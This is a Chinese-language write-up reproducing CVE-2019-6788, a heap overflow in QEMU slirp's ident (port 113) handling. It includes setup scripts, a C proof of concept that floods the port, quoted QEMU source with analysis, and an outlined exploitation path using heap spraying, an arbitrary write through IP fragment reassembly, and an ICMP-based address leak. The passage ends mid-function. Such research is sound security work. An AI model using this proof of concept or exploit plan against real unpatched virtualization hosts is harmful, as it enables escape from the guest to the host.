QEMU: CVE-2019-6788漏洞复现

CVE-2019-6788漏洞复现

Qemu网络协议栈user模式(slirp)在处理端口113(Identification protocal)时,其 tcp_emu()函数存在堆缓冲区溢出漏洞。

环境搭建

该漏洞是在 Ubuntu 18.04 上面复现的,所使用的 QEMU 版本为 v3.1.0。

Qemu启动参数

1
2
3
4
5
6
7
8
9
10
#!/bin/sh

qemu/build/x86_64-softmmu/qemu-system-x86_64 \
-m 1024M \
-kernel bzImage \
-initrd rootfs/ramdisk.gz \
-append "console=ttyS0 root=/dev/ram0 rw rootfstype=ext4 init=/linuxrc" \
--enable-kvm \
-net nic -net user,hostfwd=tcp::2222-:22 \
-nographic

网络相关的配置

1
2
3
4
ifconfig lo up
ifconfig eth0 10.0.2.15 netmask 255.255.255.0 up
route add default gw 10.0.2.2
ifconfig eth0 mtu 9000

至于kernel image与rootfs文件系统自己构建即可,对漏洞复现影响不大。

漏洞触发

POC如下:

简单分析POC,其对113端口发送的TCP连接,该端口是由rfc-1413 定义的Identification Protocol 。在slirp网络协议栈中,该端口会由tcp_emuEMU_IDENT 捕获到,从而触发漏洞执行链。

主机端监听113端口:nc -lvvkp 113

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/socket.h>

int main() {
int s, ret;
struct sockaddr_in ip_addr;
char buf[0x500];

s = socket(AF_INET, SOCK_STREAM, 0);
ip_addr.sin_family = AF_INET;
ip_addr.sin_addr.s_addr = inet_addr("10.0.2.2"); // host IP
ip_addr.sin_port = htons(113); // vulnerable port
ret = connect(s, (struct sockaddr *)&ip_addr, sizeof(struct sockaddr_in));
memset(buf, 'A', 0x500);
while (1) {
write(s, buf, 0x500);
}
return 0;
}

image-20250623180544188

这个函数调用链臭长臭长的,主要从三个方面分析:

  1. qemu通过tcg机制翻译目标指令,遇到类store 指令时,调用helper函数进行处理
  2. 通过内存分析得知是IO设备的写,调用设备e1000注册的回调函数
  3. qemu启动时网络后端使用了user模式,会调用slirp模块进行处理。CVE-2019-6788即是在此过程中,处理端口113(Identification protocal)时发生的堆缓冲区溢出漏洞。

漏洞分析

结构体分析

在进行漏洞分析前,需要了解mbufsbuf这两个比较重要的结构体,后续分析均与其有关。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
struct mbuf {
/* XXX should union some of these! */
/* header at beginning of each mbuf: */
struct mbuf *m_next; /* Linked list of mbufs */
struct mbuf *m_prev;
struct mbuf *m_nextpkt; /* Next packet in queue/record */
struct mbuf *m_prevpkt; /* Flags aren't used in the output queue */
int m_flags; /* Misc flags */

int m_size; /* Size of mbuf, from m_dat or m_ext */
struct socket *m_so;

caddr_t m_data; /* Current location of data */
int m_len; /* Amount of data in this mbuf, from m_data */

Slirp *slirp;
bool resolution_requested;
uint64_t expiration_date;
char *m_ext;
/* start of dynamic buffer area, must be last element */
char m_dat[];
};

struct sbuf {
uint32_t sb_cc; /* actual chars in buffer */
uint32_t sb_datalen; /* Length of data */
char *sb_wptr; /* write pointer. points to where the next
* bytes should be written in the sbuf */
char *sb_rptr; /* read pointer. points to where the next
* byte should be read from the sbuf */
char *sb_data; /* Actual data */
};

mbuf

官方注释详细描述了该结构体各个字段的范围。

1
2
3
4
5
6
7
8
9
10
11
12
/*
* mbufs allow to have a gap between the start of the allocated buffer (m_ext if
* M_EXT is set, m_dat otherwise) and the in-use data:
*
* |--gapsize----->|---m_len------->
* |----------m_size------------------------------>
* |----M_ROOM-------------------->
* |-M_FREEROOM-->
*
* ^ ^ ^
* m_dat/m_ext m_data end of buffer
*/

m_extm_dat 指向分配的缓冲区的起始位置。

m_data 指向实际使用的数据的起始位置,中间可能有一个空隙(gapsize)。

m_len 是实际使用的数据长度。

M_ROOM 是从 m_data 到缓冲区末尾的可用空间。

M_FREEROOM 是从 m_data 到缓冲区末尾减去 m_len 的剩余空间。

注意:SLiRP中的mbuf的大小是固定的,由MTU决定,以便一个完整的数据包可以放入其中。Mbuf不能链接在一起。如果有比mbuf能容纳的更多的数据,则会使用g_malloc分配一个外部缓冲区,并由m_ext(和数据指针)指向该缓冲区,并在标志中设置M_EXT。

mbuf 最开始申请初始化的地方在slirp_input

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
void slirp_input(Slirp *slirp, const uint8_t *pkt, int pkt_len)
{
struct mbuf *m;
int proto;

if (pkt_len < ETH_HLEN)
return;

proto = ntohs(*(uint16_t *)(pkt + 12));
switch(proto) {
case ETH_P_ARP:
arp_input(slirp, pkt, pkt_len);
break;
case ETH_P_IP:
case ETH_P_IPV6:
m = m_get(slirp);
if (!m)
return;
/* Note: we add 2 to align the IP header on 4 bytes,
* and add the margin for the tcpiphdr overhead */
if (M_FREEROOM(m) < pkt_len + TCPIPHDR_DELTA + 2) {
m_inc(m, pkt_len + TCPIPHDR_DELTA + 2);
}
m->m_len = pkt_len + TCPIPHDR_DELTA + 2; // pkt_len + 0x1c + 2
memcpy(m->m_data + TCPIPHDR_DELTA + 2, pkt, pkt_len);

m->m_data += TCPIPHDR_DELTA + 2 + ETH_HLEN; // ip数据报文内容
m->m_len -= TCPIPHDR_DELTA + 2 + ETH_HLEN; // ip数据报文长度

if (proto == ETH_P_IP) {
ip_input(m);
} else if (proto == ETH_P_IPV6) {
ip6_input(m);
}
break;

case ETH_P_NCSI:
ncsi_input(slirp, pkt, pkt_len);
break;

default:
break;
}
}

slirp 接收QEMU模拟的数据包(以太网帧),然后根据协议格式进入不同的处理逻辑中。

image-20250625221954198

image-20250625222634864

对于IP协议而言,首先调用m_get 创建mbuf结构体,然后调用memcpy 将pkt数据全部存储到m->m_data 数据中,再通过指针运算,使得m->m_data 仅仅包含IP层数据报文,再调用ip_input 进行后续处理。

image-20250625222754281

由此可知,mbuf->m_data中仅包含IP数据报文。

sbuf

sbuf 部分相关源代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
void tcp_input(struct mbuf *m, int iphlen, struct socket *inso, unsigned short af) {
// ...
/*
* Drop TCP, IP headers and TCP options.
*/
// [1]
m->m_data += sizeof(struct tcpiphdr)+off-sizeof(struct tcphdr);
m->m_len -= sizeof(struct tcpiphdr)+off-sizeof(struct tcphdr);

// ...
if (tcp_emu(so,m)) sbappend(so, m);
}


int tcp_emu(struct socket *so, struct mbuf *m) {
// ...
case EMU_IDENT:
/*
* Identification protocol as per rfc-1413
*/

{
struct socket *tmpso;
struct sockaddr_in addr;
socklen_t addrlen = sizeof(struct sockaddr_in);
struct sbuf *so_rcv = &so->so_rcv;

memcpy(so_rcv->sb_wptr, m->m_data, m->m_len); // [2] 将mbuf接收的数据复制到so->so_rcv的sb_wptr中
so_rcv->sb_wptr += m->m_len;
so_rcv->sb_rptr += m->m_len;
m->m_data[m->m_len] = 0; /* NULL terminate */
// ...
}

[1] 处去除了mbuf->m_data 中IP头与TCP头,然后[2] 处将剩下的mbuf->m_data数据拷贝到sbuf->so_rcv 中。

image-20250626120409520

由此可知,sbuf 存储的是TCP层数据,且不包含TCP头部。

综上,mbuf 存储IP数据报文,包含IP头部;sbuf 存储不包含TCP头部的TCP数据。

漏洞原理分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
int tcp_emu(struct socket *so, struct mbuf *m)
{
Slirp *slirp = so->slirp;
// ...
DEBUG_CALL("tcp_emu");
DEBUG_ARG("so = %p", so);
DEBUG_ARG("m = %p", m);

switch(so->so_emu) {
int x, i;

case EMU_IDENT:
/*
* Identification protocol as per rfc-1413
*/

{
struct socket *tmpso;
struct sockaddr_in addr;
socklen_t addrlen = sizeof(struct sockaddr_in);
struct sbuf *so_rcv = &so->so_rcv;

memcpy(so_rcv->sb_wptr, m->m_data, m->m_len); // [1] 将mbuf接收的数据复制到so->so_rcv的sb_wptr中
so_rcv->sb_wptr += m->m_len;
so_rcv->sb_rptr += m->m_len;
m->m_data[m->m_len] = 0; /* NULL terminate */
if (strchr(m->m_data, '\r') || strchr(m->m_data, '\n')) { // 检测\r\n
if (sscanf(so_rcv->sb_data, "%u%*[ ,]%u", &n1, &n2) == 2) {
HTONS(n1);
HTONS(n2);
/* n2 is the one on our host */
for (tmpso = slirp->tcb.so_next;
tmpso != &slirp->tcb;
tmpso = tmpso->so_next) {
if (tmpso->so_laddr.s_addr == so->so_laddr.s_addr &&
tmpso->so_lport == n2 &&
tmpso->so_faddr.s_addr == so->so_faddr.s_addr &&
tmpso->so_fport == n1) {
if (getsockname(tmpso->s,
(struct sockaddr *)&addr, &addrlen) == 0)
n2 = ntohs(addr.sin_port);
break;
}
}
}
so_rcv->sb_cc = snprintf(so_rcv->sb_data,so_rcv->sb_datalen, "%d,%d\r\n", n1, n2); // [2] 更新so->so_rcv.sb_cc
so_rcv->sb_rptr = so_rcv->sb_data;
so_rcv->sb_wptr = so_rcv->sb_data + so_rcv->sb_cc;
}
m_free(m);
return 0;
}

[1] 将mbuf数据(ip层数据)复制到slirp模块模拟的socket数据接收缓冲区中

[2] 若数据包含\r\n ,则更新socket中sbuf(tcp层数据)实际数据长度so->so_rcv->sb_cc;否则直接释放掉mbuf,并返回0。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void tcp_input(struct mbuf *m, int iphlen, struct socket *inso, unsigned short af) {
// ......
else if (ti->ti_ack == tp->snd_una &&
tcpfrag_list_empty(tp) &&
ti->ti_len <= sbspace(&so->so_rcv)) { // [3] ti->ti_len <= ((&so->so_rcv)->sb_datalen - (&so->so_rcv)->sb_cc)
// 协议数据长度 <= 缓冲区总长度 - 缓冲区实际字节长度
/*
* this is a pure, in-sequence data packet
* with nothing on the reassembly queue and
* we have enough buffer space to take it.
*/
tp->rcv_nxt += ti->ti_len;
/*
* Add data to socket buffer.
*/
if (so->so_emu) {
if (tcp_emu(so,m)) sbappend(so, m);
} else
sbappend(so, m);

/*
* If this is a short packet, then ACK now - with Nagel
* congestion avoidance sender won't send more until
* he gets an ACK.
*
* It is better to not delay acks at all to maximize
* TCP throughput. See RFC 2581.
*/
tp->t_flags |= TF_ACKNOW;
tcp_output(tp);
return;
}
}
// ......
}

[3] 判断协议数据长度是否socket的sbuf缓冲区范围内, 该缓冲区范围是由(&so->so_rcv)->sb_datalen - (&so->so_rcv)->sb_cc 计算得到的。若在范围内,则调用tcp_emu ,然后返回;否则直接返回。

结合上述描述,若m->m_data 不包含\r\n ,则不会更新sb_cc 的值,始终为0,导致socket中接收的数据与实际数据长度不符合,进一步[3] 处的判断永远成立。若多次发送数据包,将会多次执行tcp_emu ,也即 memcpy ,导致堆缓冲区溢出。

第一次调用前,sb_cc 为 0,sb_wptr sb_rptr sb_data 指向同一片堆缓冲区。

image-20250623214314276

第一次调用后,sb_cc 依旧为0,sb_wptr sb_rptr 指向下一次将要写或者读的地址。

image-20250623214337861

第二次调用后,sb_cc 依旧为0,sb_wptr sb_rptr 指向下一次将要写或者读的地址。

image-20250623214355478

多次调用后,导致复制的长度大于默认分配的8760 ,造成了缓冲区溢出漏洞。

以上便是整个漏洞触发的原理。

但是,笔者在分析时产生了一个疑问,结构体so在多次发包过程中不变吗?

答案是不变的,tcp_input 在第一次握手阶段调用socreate 创建了 socket 结构体 ,后续握手以及发包过程均使用的是相同的结构体。

具体分析:第一次握手时 slirp 中没有此次连接的socket信息,[1] 处返回空,执行[2] 处代码创建此次连接的socket,并将其插入到slirp中,再执行[3]处代码为so->so_rcvso->so_snd 分配堆空间。后续数据发送过程中,[1] 处查询slirp相应的socket信息,将不会创建新的socket结构体。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
tcp_input() {
// ...
so = solookup(&slirp->tcp_last_so, &slirp->tcb, &lhost, &fhost); // [1]

/*
* If the state is CLOSED (i.e., TCB does not exist) then
* all data in the incoming segment is discarded.
* If the TCB exists but is in CLOSED state, it is embryonic,
* but should either do a listen or a connect soon.
*
* state == CLOSED means we've done socreate() but haven't
* attached it to a protocol yet...
*
* XXX If a TCB does not exist, and the TH_SYN flag is
* the only flag set, then create a session, mark it
* as if it was LISTENING, and continue...
*/
if (so == NULL) {
if (slirp->restricted) {
/* Any hostfwds will have an existing socket, so we only get here
* for non-hostfwd connections. These should be dropped, unless it
* happens to be a guestfwd.
*/
for (ex_ptr = slirp->exec_list; ex_ptr; ex_ptr = ex_ptr->ex_next) {
if (ex_ptr->ex_fport == ti->ti_dport &&
ti->ti_dst.s_addr == ex_ptr->ex_addr.s_addr) {
break;
}
}
if (!ex_ptr) {
goto dropwithreset;
}
}

if ((tiflags & (TH_SYN|TH_FIN|TH_RST|TH_URG|TH_ACK)) != TH_SYN)
goto dropwithreset;

so = socreate(slirp); // [2]
if (tcp_attach(so) < 0) {
g_free(so); /* Not sofree (if it failed, it's not insqued) */
goto dropwithreset;
}

sbreserve(&so->so_snd, TCP_SNDSPACE); // [3]
sbreserve(&so->so_rcv, TCP_RCVSPACE);

so->lhost.ss = lhost;
so->fhost.ss = fhost;

so->so_iptos = tcp_tos(so);
if (so->so_iptos == 0) {
switch (af) {
case AF_INET:
so->so_iptos = ((struct ip *)ti)->ip_tos;
break;
case AF_INET6:
break;
default:
g_assert_not_reached();
}
}

tp = sototcpcb(so);
tp->t_state = TCPS_LISTEN;
}
// ...
}

漏洞利用

tips:必须在开启地址随机化的条件下进行堆喷。

该漏洞是一个堆溢出漏洞,其利用难度远远高于栈溢出漏洞。

malloc原语

qemu中堆空间使用非常复杂,想要获得稳定可控的堆块,必须从top_chunk中切割分配堆块,这就需要我们将空闲堆块分配完。这一过程中需要使用堆喷这一技术,分配大量的堆块已达到稳定申请的目的。想要分配空闲堆块,就需要分析slirp模块其它协议功能中找到可控的malloc 原语。

这里通过slirp模块对IP 协议的处理获得malloc 原语。

2

在分析之前,我们需要知道IP协议如何处理分片的?

标识 : 同一个 IP 数据报 的分片 , 使用相同的标识 ; IP 数据报大小超过 MTU 时 , 将数据报分片 , 分片完成的 IP 数据报分片 , 其标识都是相同的 ;

DF 位 , Don’t Fragment ; DF = 1 时 , 禁止分片 ; DF = 0 时 , 允许分片 ;

MF 位 , More Fragment ; MF = 1 时 , 后面还有分片 ; MF = 0 时 , 本分片就是该分组的最后一个分片 , 后面没有分片 ;

只有 DF = 0 时 , MF 才有意义 ;

这里我们看下Slirp协议栈源码实现。

ip_input.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
/*
* Ip input routine. Checksum and byte swap header. If fragmented
* try to reassemble. Process options. Pass to next level.
*/
void ip_input(struct mbuf *m)
{
Slirp *slirp = m->slirp;
register struct ip *ip;
int hlen;

if (!slirp->in_enabled) {
goto bad;
}

DEBUG_CALL("ip_input");
DEBUG_ARG("m = %p", m);
DEBUG_ARG("m_len = %d", m->m_len);

if (m->m_len < sizeof (struct ip)) {
goto bad;
}

ip = mtod(m, struct ip *);

if (ip->ip_v != IPVERSION) {
goto bad;
}

hlen = ip->ip_hl << 2;
if (hlen<sizeof(struct ip ) || hlen>m->m_len) {/* min header length */
goto bad; /* or packet too short */
}

/* keep ip header intact for ICMP reply
* ip->ip_sum = cksum(m, hlen);
* if (ip->ip_sum) {
*/
if(cksum(m,hlen)) {
goto bad;
}

/*
* Convert fields to host representation.
*/
NTOHS(ip->ip_len);
if (ip->ip_len < hlen) {
goto bad;
}
NTOHS(ip->ip_id);
NTOHS(ip->ip_off);

/*
* Check that the amount of data in the buffers
* is as at least much as the IP header would have us expect.
* Trim mbufs if longer than we expect.
* Drop packet if shorter than we expect.
*/
if (m->m_len < ip->ip_len) {
goto bad;
}

/* Should drop packet if mbuf too long? hmmm... */
if (m->m_len > ip->ip_len)
m_adj(m, ip->ip_len - m->m_len);

/* check ip_ttl for a correct ICMP reply */
if (ip->ip_ttl == 0) {
icmp_send_error(m, ICMP_TIMXCEED, ICMP_TIMXCEED_INTRANS, 0, "ttl");
goto bad;
}

/*
* If offset or IP_MF are set, must reassemble.
* Otherwise, nothing need be done.
* (We could look in the reassembly queue to see
* if the packet was previously fragmented,
* but it's not worth the time; just let them time out.)
*
* XXX This should fail, don't fragment yet
*/
if (ip->ip_off &~ IP_DF) { // 判断是否为分片报文
register struct ipq *fp;
struct qlink *l;
/*
* Look for queue of fragments
* of this datagram.
*/
for (l = slirp->ipq.ip_link.next; l != &slirp->ipq.ip_link;
l = l->next) {
fp = container_of(l, struct ipq, ip_link);
if (ip->ip_id == fp->ipq_id &&
ip->ip_src.s_addr == fp->ipq_src.s_addr &&
ip->ip_dst.s_addr == fp->ipq_dst.s_addr &&
ip->ip_p == fp->ipq_p)
goto found;
}
fp = NULL;
found:

/*
* Adjust ip_len to not reflect header,
* set ip_mff if more fragments are expected,
* convert offset of this to bytes.
*/
ip->ip_len -= hlen;
if (ip->ip_off & IP_MF)
ip->ip_tos |= 1;
else
ip->ip_tos &= ~1;

ip->ip_off <<= 3;

/*
* If datagram marked as having more fragments
* or if this is not the first fragment,
* attempt reassembly; if it succeeds, proceed.
*/
if (ip->ip_tos & 1 || ip->ip_off) {
ip = ip_reass(slirp, ip, fp); // 分片重组
if (ip == NULL)
return;
m = dtom(slirp, ip);
} else
if (fp)
ip_freef(slirp, fp);

} else
ip->ip_len -= hlen;

/*
* Switch out to protocol's input routine.
*/
switch (ip->ip_p) { // 根据协议类型,走不同的处理路线
case IPPROTO_TCP:
tcp_input(m, hlen, (struct socket *)NULL, AF_INET);
break;
case IPPROTO_UDP:
udp_input(m, hlen);
break;
case IPPROTO_ICMP:
icmp_input(m, hlen);
break;
default:
m_free(m);
}
return;
bad:
m_free(m);
}


ip_input 函数检查ip长度,检查ip版本,计算校验和字段,是否超时等。接着,判断ip是否分片。若分片,则遍历Slirp全局IP重组队列,并匹配当前分片对应的重组队列(ip_id + src + dst + protocol 作为唯一标识),无论是否找到,均跳转到found,准备处理重组。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
#define iptofrag(P) ((struct ipasfrag *)(((char*)(P)) - sizeof(struct qlink)))
#define fragtoip(P) ((struct ip*)(((char*)(P)) + sizeof(struct qlink)))
/*
* Take incoming datagram fragment and try to
* reassemble it into whole datagram. If a chain for
* reassembly of this datagram already exists, then it
* is given as fp; otherwise have to make a chain.
*/
static struct ip *
ip_reass(Slirp *slirp, struct ip *ip, struct ipq *fp)
{
register struct mbuf *m = dtom(slirp, ip); // 返回包含ip的mbuf
register struct ipasfrag *q;
int hlen = ip->ip_hl << 2;
int i, next;

DEBUG_CALL("ip_reass");
DEBUG_ARG("ip = %p", ip);
DEBUG_ARG("fp = %p", fp);
DEBUG_ARG("m = %p", m);

/*
* Presence of header sizes in mbufs
* would confuse code below.
* Fragment m_data is concatenated.
*/
m->m_data += hlen;
m->m_len -= hlen;

/*
* If first fragment to arrive, create a reassembly queue.
*/
if (fp == NULL) { // 标识是ip分片的第一个分组
struct mbuf *t = m_get(slirp); // 创建重组队列,若slirp->m_freelist为空,则调用g_malloc申请内存

if (t == NULL) {
goto dropfrag;
}
fp = mtod(t, struct ipq *); // fp = (struct ipq *)t->data;
insque(&fp->ip_link, &slirp->ipq.ip_link);
fp->ipq_ttl = IPFRAGTTL;
fp->ipq_p = ip->ip_p;
fp->ipq_id = ip->ip_id;
fp->frag_link.next = fp->frag_link.prev = &fp->frag_link;
fp->ipq_src = ip->ip_src;
fp->ipq_dst = ip->ip_dst;
q = (struct ipasfrag *)fp;
goto insert;
}

/*
* Find a segment which begins after this one does.
*/
// 查找链表中比ip偏移大的片段
for (q = fp->frag_link.next; q != (struct ipasfrag *)&fp->frag_link;
q = q->ipf_next)
if (q->ipf_off > ip->ip_off)
break;

/*
* If there is a preceding segment, it may provide some of
* our data already. If so, drop the data from the incoming
* segment. If it provides all of our data, drop us.
*/
if (q->ipf_prev != &fp->frag_link) { // q不是分组列表头节点,裁剪重复数据(前部重叠)
struct ipasfrag *pq = q->ipf_prev;
i = pq->ipf_off + pq->ipf_len - ip->ip_off;
if (i > 0) {
if (i >= ip->ip_len) // 完全被覆盖,丢弃
goto dropfrag;
m_adj(dtom(slirp, ip), i); // 裁剪重复前缀
ip->ip_off += i;
ip->ip_len -= i;
}
}

/*
* While we overlap succeeding segments trim them or,
* if they are completely covered, dequeue them.
*/
while (q != (struct ipasfrag*)&fp->frag_link &&
ip->ip_off + ip->ip_len > q->ipf_off) { // q不是分组列表头节点,裁剪重复数据(后部重叠)
i = (ip->ip_off + ip->ip_len) - q->ipf_off;
if (i < q->ipf_len) {
q->ipf_len -= i;
q->ipf_off += i;
m_adj(dtom(slirp, q), i);
break;
}
q = q->ipf_next;
m_free(dtom(slirp, q->ipf_prev));
ip_deq(q->ipf_prev);
}

insert:
/*
* Stick new segment in its place;
* check for complete reassembly.
*/
ip_enq(iptofrag(ip), q->ipf_prev); // 将ip片段插入到链表中
next = 0;
for (q = fp->frag_link.next; q != (struct ipasfrag*)&fp->frag_link;
q = q->ipf_next) {
if (q->ipf_off != next)
return NULL; // 存在片段缺失,返回NULL
next += q->ipf_len;
}
if (((struct ipasfrag *)(q->ipf_prev))->ipf_tos & 1)
return NULL;

/*
* Reassembly is complete; concatenate fragments.
*/
// 重组完成,合并片段
q = fp->frag_link.next; // fp队列中ip第一个分片
m = dtom(slirp, q);

q = (struct ipasfrag *) q->ipf_next;
while (q != (struct ipasfrag*)&fp->frag_link) {
struct mbuf *t = dtom(slirp, q);
q = (struct ipasfrag *) q->ipf_next;
m_cat(m, t); // 调用m_cat()函数将所有分组整合到fp->next(即ip第一个分组)节点对应的m_data缓冲区中
}

/*
* Create header for new ip packet by
* modifying header of first packet;
* dequeue and discard fragment reassembly header.
* Make header visible.
*/
q = fp->frag_link.next;

/*
* If the fragments concatenated to an mbuf that's
* bigger than the total size of the fragment, then and
* m_ext buffer was alloced. But fp->ipq_next points to
* the old buffer (in the mbuf), so we must point ip
* into the new buffer.
*/
if (m->m_flags & M_EXT) {
int delta = (char *)q - m->m_dat;
q = (struct ipasfrag *)(m->m_ext + delta);
}
// 重组ip头部,并返回ip
ip = fragtoip(q);
ip->ip_len = next;
ip->ip_tos &= ~1;
ip->ip_src = fp->ipq_src;
ip->ip_dst = fp->ipq_dst;
remque(&fp->ip_link);
(void) m_free(dtom(slirp, fp));
m->m_len += (ip->ip_hl << 2);
m->m_data -= (ip->ip_hl << 2);

return ip;

dropfrag:
m_free(m);
return NULL;
}

ip_reass 函数实现了IP重组功能。

  1. 若ip为分组第一个分片,则调用m_get 申请一段mbuf,作为分组列表头,并跳转到insert。接着,将当前ip分片插入到fp和fp->prev之间。

image-20250627133320314

  1. 若不是第一个分片,遍历fp链表找到第一个大于ip->ip_off的分片,或者遍历到fp链表的最后一个节点(标识当前ip即为最后一个分组),再对前向重叠部分与后向重叠部分进行整合(做一个检查,避免分片重复)。接着,将当前ip分片插入到q和q->prev之间。

image-20250627134019668

  1. 若分片重组完成,则调用m_cat()函数将所有分组整合到fp->next(即ip第一个分组)节点对应的m_data缓冲区中。

  2. 修正ip报文头部信息并返回。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
struct mbuf * m_get(Slirp *slirp)
{
register struct mbuf *m;
int flags = 0;

DEBUG_CALL("m_get");

if (slirp->m_freelist.qh_link == &slirp->m_freelist) {
m = g_malloc(SLIRP_MSIZE);
slirp->mbuf_alloced++;
if (slirp->mbuf_alloced > MBUF_THRESH)
flags = M_DOFREE;
m->slirp = slirp;
} else {
m = (struct mbuf *) slirp->m_freelist.qh_link;
remque(m);
}

/* Insert it in the used list */
insque(m,&slirp->m_usedlist);
m->m_flags = (flags | M_USEDLIST);

/* Initialise it */
m->m_size = SLIRP_MSIZE - offsetof(struct mbuf, m_dat);
m->m_data = m->m_dat;
m->m_len = 0;
m->m_nextpkt = NULL;
m->m_prevpkt = NULL;
m->resolution_requested = false;
m->expiration_date = (uint64_t)-1;
DEBUG_ARG("m = %p", m);
return m;
}

分析m_get 函数,若slirp->m_freelist为空,则调用g_malloc申请内存大小为SLIRP_MSIZE(0x668)的堆块。

总结:当IP报文含有分片标志位DF=0时,且空闲消息链表中没有剩余的空闲消息时,则会调用g_malloc分配一个0x668的消息对象。

任意地址写原语

通过malloc 原语能够控制堆块分配顺序。结合上述堆溢出操作,在溢出堆块后分配一个含有可写指针的结构体,即可实现任意地址写。这里选择mbuf结构体。只要能够找到稳定写mbuf某些指针的路径,就能够实现任意地址写。这里依然利用ip重组来实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
static struct ip *
ip_reass(Slirp *slirp, struct ip *ip, struct ipq *fp)
{
// ...
/*
* Reassembly is complete; concatenate fragments.
*/
// 重组完成,合并片段
q = fp->frag_link.next; // fp队列中ip第一个分片
m = dtom(slirp, q);

q = (struct ipasfrag *) q->ipf_next;
while (q != (struct ipasfrag*)&fp->frag_link) {
struct mbuf *t = dtom(slirp, q);
q = (struct ipasfrag *) q->ipf_next;
m_cat(m, t); // [1] 调用m_cat()函数将所有分组整合到fp->next(即ip第一个分组)节点对应的m_data缓冲区中
}
// ...
}

/*
* Copy data from one mbuf to the end of
* the other.. if result is too big for one mbuf, allocate
* an M_EXT data segment
*/
void m_cat(struct mbuf *m, struct mbuf *n)
{
/*
* If there's no room, realloc
*/
if (M_FREEROOM(m) < n->m_len)
m_inc(m, m->m_len + n->m_len);

memcpy(m->m_data+m->m_len, n->m_data, n->m_len); // [2]
m->m_len += n->m_len;

m_free(n);
}

当ip分片重组完成后,就会调用m_cat 整合所有分片。若我们能够控制[2]处的m->m_datam->m_len ,就可以实现可控数据n->m_data 写入到任意地址m->m_data + m->m_len

任意地址写实现思路:

  1. 利用malloc原语实现堆喷,使得堆分布可控。
  2. 与主机113端口连接,申请出能够溢出的结构体socket->so_recv。
  3. 发送包含ip切片(id=0xdead, MF=1)的数据包,使得在socket结构体后分配mbuf结构体。
  4. 堆溢出修改mbuf->m_data与mbuf->m_len,修改为目标地址。
  5. 再次发送ip切片数据包(id=0xdead, MF=0)触发ip重组。
  6. 实现任意地址写。

泄露地址

在协议实现中,若要实现地址泄露,通常需要找到一条可以触发协议栈发送响应数据包的路径,并确保返回包中携带我们希望泄露的脏数据。本例中的地址泄露手法尤为巧妙,利用了 ICMP 响应包作为载体,将敏感信息间接回传给攻击者。

img

type和code的不同组合可以表示不同功能的ICMP报文。

类型 (type) 编码(code) 描述
0 0 Echo Reply
3 0 网络不可达
3 1 主机不可达
3 2 协议不可达
3 3 端口不可达
5 0 重定向
8 0 Echo Request

Slirp协议栈对ICMP数据报文处理如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
void icmp_input(struct mbuf *m, int hlen)
{
register struct icmp *icp;
register struct ip *ip=mtod(m, struct ip *);
int icmplen=ip->ip_len;
Slirp *slirp = m->slirp;

DEBUG_CALL("icmp_input");
DEBUG_ARG("m = %p", m);
DEBUG_ARG("m_len = %d", m->m_len);

/*
* Locate icmp structure in mbuf, and check
* that its not corrupted and of at least minimum length.
*/
if (icmplen < ICMP_MINLEN) { /* min 8 bytes payload */
freeit:
m_free(m);
goto end_error;
}

m->m_len -= hlen;
m->m_data += hlen;
icp = mtod(m, struct icmp *);
if (cksum(m, icmplen)) {
goto freeit;
}
m->m_len += hlen;
m->m_data -= hlen;

DEBUG_ARG("icmp_type = %d", icp->icmp_type);
switch (icp->icmp_type) {
case ICMP_ECHO:
ip->ip_len += hlen; /* since ip_input subtracts this */
if (ip->ip_dst.s_addr == slirp->vhost_addr.s_addr ||
ip->ip_dst.s_addr == slirp->vnameserver_addr.s_addr) {
icmp_reflect(m);
} else if (slirp->restricted) {
goto freeit;
} else {
// ...
